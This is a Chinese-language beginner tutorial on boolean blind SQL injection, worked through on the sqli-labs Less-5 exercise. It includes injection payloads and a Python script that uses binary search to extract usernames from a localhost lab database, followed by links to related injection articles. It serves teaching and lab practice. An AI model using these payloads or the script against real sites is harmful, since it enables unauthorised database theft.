WEB新手之布尔盲注
开始写SQL的题,单引号等特殊符号闭合漏洞比较简单,因此从Less-5开始写。
布尔盲注是多种盲注的一种,这种盲注方法也比较好理解。但使用这种盲注有一个前提,就是网页会有回显,透过这个回显,我们可以通过判断,来获得所需的信息。
以Less-5为例题,如图所示:

加上id=1,会发现这样的回显,如图所示:

然后利用Less-1~4的知识,发现这里的语句使用单引号闭合的,并且用联合查询语句会依然回显“You are in......”。因此,简单的联合查询语句是行不通的。
由于存在单引号闭合漏洞,我们可以使用and并且结合相关的语句对数据库信息进行猜测。
首先得得出数据库长度,利用length()函数,payload如下:

然后这里发现该语句没有回显,如图所示:

长度不为5,再通过多次尝试,爆出数据库名长度为8,如图所示:

知道了库名长度后,再使用left()函数进行注入。先说一下left()函数,该函数有两个参数,第一参数是需要进行截取的字符串对象,第二个参数是该字符串从左到右的第几个字符。payload如下图所示:

通过一个个的尝试,会发现当left(database(),1)='s'时,回显正常。因此数据库的第一个字符为s,接下来的数据如法炮制。
当然,如果这样一个个的尝试,犹如大海捞针,因此我们通常使用脚本进行注入。这里使用了二分法,代码如下图所示:
# -*-coding:utf8-*-
import requests
url = "http://localhost:81/SQLI-LABS/sqli-labs-master/Less-5/?id=1%s"
payload = "' and ord(mid((select username from users limit 0,1),%s,1))>%s --+"
result =''
print "start to get the result: "
for i in range(1, 20):
max = 122 #z
min = 65 #A
while abs(max-min)>1:
mid = int((max+min)/2)
p = payload % (str(i), str(mid))
response = requests.get(url % p)
if response.content.find("You are in") != -1:
min = mid
else:
max = mid
result = result+chr(max)
print ("the result is %s" % result)
需要注意的是,这里的%s是字符串占位符,代表一个字符串对象,可以放置不同的字符串。
最终通过脚本获得flag。
WEB新手之布尔盲注的更多相关文章
- WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注
1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...
- sqli-labs lesson5-6 布尔盲注 报错注入 延时注入
LESSON 5: 典型的布尔盲注. 盲注:sql注入过程中,sql语句的执行结果不回显到前端,这个时候就只能用一些别的方法进行判断或者尝试,这个判断或者尝试就叫做盲注.盲注又分为:1.基于布尔SQL ...
- SQL注入之Sqli-labs系列第八篇(基于布尔盲注的注入)
开始挑战第八关(Blind- Boolian- Single Quotes- String) 这关首先需要用到以下函数: 开始测试,使用测试语句,利用单引号进行闭合 猜解字段 union select ...
- 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注
前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...
- sql布尔盲注和时间盲注的二分脚本
布尔盲注: import requests url = "http://challenge-f0b629835417963e.sandbox.ctfhub.com:10080/" ...
- python dvwa布尔盲注自动化脚本(level=low)
仅供学习代码参考 1#python dvwa布尔盲注自动化脚本 2 import requests 3 import string 4 import time 5 INIT_URL="htt ...
- sqli-labs less8-10(布尔盲注时间盲注)
less-8 布尔盲注 首先利用?id=1' and 1=1 --+和?id=1' and 1=2 --+确定id的类型为单引号''包裹.然后进行盲注. 盲注思路: 破解当前数据库名: and len ...
- sqli-labs lesson 7-10 (文件导出,布尔盲注,延时注入)
写在前面: 首先需要更改一下数据库用户的权限用于我们之后的操作. 首先在mysql命令行中用show variables like '%secure%';查看 secure-file-priv 当前的 ...
- 大哥带我走渗透ii--时间盲注,布尔盲注
5/27 基于布尔的盲注 我连题目都看不懂555,先去补充一点知识.https://blog.csdn.net/weixin_40709439/article/details/81355856 返回的 ...
随机推荐
- Java调用SQL Server的存储过程详解
转载自Microsoft的官方文档 http://msdn2.microsoft.com/zh-cn/library/ms378995.aspx收录于 www.enjoyjava.net/f25 本文 ...
- shell脚本学习指南-grep文本搜索命令-学习(3)
1.作用 Linux系统中grep命令是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹 配的行打印出来.grep全称是Global Regular Expression Print,表示全 ...
- 利用WKWebView实现js与OC交互注意事项
最近在写一些关于wkwebview的一些代码,发现了几点心得,记录一下. 1.js调用OC 我是利用wkwebview进行的开发实现,主要代码有三部分 1.向config注入OC对象 [config. ...
- 用Diff和Patch工具维护源码
在Unix系统下,维护源码版本可以使用很多方法,其中最常用的当然是大名鼎鼎的CVS,但实际上,简单的版本维护工作并没有必要使用复杂的CVS等专门的版本维护工具,Unix标配中的diff和patch工具 ...
- code1135 选择客栈
首先,预处理三个数组. pre[x]表示在此之前颜色为x的客栈有多少个. f[x]表示在此之前的客栈中,某个点c,c的颜色为x,并且从c点到已经读入的点之间有费用小于p的客栈,这样的c点的个数 las ...
- 关于删除MySQL Logs的一点记录
五一前,一个DBA同事反馈,在日常环境中删除一个大的slow log文件(假设文件大小10G以上吧),然后在MySQL中执行flush slow logs,会发现mysqld hang住. 今天尝试着 ...
- 09 Finding a Motif in DNA
Problem Given two strings ss and tt, tt is a substring of ss if tt is contained as a contiguous coll ...
- 04 Python入门学习-流程控制(if else elif while for)
一:流程控制if 语法一: if 条件: code1 code2 code3 ... age = 20 height = 170 weight = 60 sex = 'female' is_beaut ...
- Web前后端数据交换技术和规范发展史:Form、Ajax、Comet、Websocket
第一阶段:Form web应用想要与服务器交互,必须提交一个表单(form).服务器接收并处理该表单,然后返回一个全新的页面. 缺点:前后两个页面需要更新的数据可能很少,这个过程可能传输了很多之前那个 ...
- markdown你的生活 | markdown编辑器简介
前言 你是否有这样的困扰?希望找一个笔记本记录东西,window自带的notepad(记事本)?,轻量但是功能太有限.word文档?功能虽多,但是很沉重,我们需要花很多时间去想如何排版会更记录会清晰, ...